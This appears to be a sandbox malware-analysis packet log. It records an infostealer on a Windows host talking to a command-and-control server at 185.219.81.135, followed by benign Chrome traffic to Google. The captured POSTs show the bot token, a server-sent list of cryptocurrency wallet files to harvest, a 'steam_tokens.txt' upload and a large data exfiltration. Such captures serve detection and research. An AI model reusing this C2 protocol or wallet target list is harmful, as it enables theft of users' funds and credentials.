Dec 18, 2024 22:02:48.876758099 CET	468	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHI Host: 185.219.81.135 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="message"wallets------HJEHIJEBKEBFBFHIIDHI--
Dec 18, 2024 22:02:49.269249916 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 18, 2024 22:02:49.301657915 CET	466	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFB Host: 185.219.81.135 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"files------IJEGDBGDBFIJKECBAKFB--
Dec 18, 2024 22:02:49.709039927 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 22:02:49.726985931 CET	564	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBA Host: 185.219.81.135 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="file"------DHDAFBFCFHIDAKFIIEBA--
Dec 18, 2024 22:02:50.329371929 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 22:02:50.406829119 CET	204	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAK Host: 185.219.81.135 Content-Length: 130755 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 22:02:51.710736990 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 22:02:52.083086967 CET	473	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIECBFIDGDAKFHIEHJKF Host: 185.219.81.135 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="message"ybncbhylepme------FIECBFIDGDAKFHIEHJKF--
Dec 18, 2024 22:02:52.480149984 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 22:02:52.486222982 CET	473	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKEC Host: 185.219.81.135 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 2d 2d 0d 0a Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FCBAECGIEBKKFHIDAKEC--
Dec 18, 2024 22:02:54.167866945 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	142.250.181.132	443	6128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 21:02:18 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 21:02:19 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:18 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-amV2KkbirMMM4Zy4K8Nzjw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-18 21:02:19 UTC	124	IN	Data Raw: 33 35 39 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 68 6f 6e 64 61 20 70 72 65 6c 75 64 65 20 68 79 62 72 69 64 20 63 6f 75 70 65 22 2c 22 72 65 61 6c 20 6d 61 64 72 69 64 20 76 73 20 70 61 63 68 75 63 61 20 6c 69 76 65 20 73 74 72 65 61 6d 22 2c 22 6a 61 6d 65 73 20 67 75 6e 6e 20 73 75 70 65 72 6d 61 6e 20 6d 6f 76 69 65 20 74 72 61 69 6c 65 72 22 2c 22 73 6e 6f 77 20 73 Data Ascii: 359)]}'["",["honda prelude hybrid coupe","real madrid vs pachuca live stream","james gunn superman movie trailer","snow s
2024-12-18 21:02:19 UTC	740	IN	Data Raw: 74 6f 72 6d 20 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 22 2c 22 75 6e 65 61 72 74 68 65 64 20 61 72 63 61 6e 61 20 61 72 74 69 66 69 63 65 72 22 2c 22 6d 65 72 73 65 6e 20 6d 61 6e 75 66 61 63 74 75 72 69 6e 67 20 63 6f 6c 75 6d 62 69 61 20 74 65 6e 6e 65 73 73 65 65 22 2c 22 72 61 69 64 65 72 73 20 32 30 32 35 20 64 72 61 66 74 20 70 69 63 6b 73 22 2c 22 70 75 64 67 79 20 70 65 6e 67 75 69 6e 73 20 70 72 69 63 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 Data Ascii: torm weather forecast","unearthed arcana artificer","mersen manufacturing columbia tennessee","raiders 2025 draft picks","pudgy penguins price"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRV
2024-12-18 21:02:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	142.250.181.132	443	6128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 21:02:18 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	142.250.181.132	443	6128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 21:02:18 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 21:02:19 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 18 Dec 2024 21:02:18 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-18 21:02:19 UTC	372	IN	Data Raw: 31 38 31 36 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1816)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-18 21:02:19 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-18 21:02:19 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-18 21:02:19 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-18 21:02:19 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 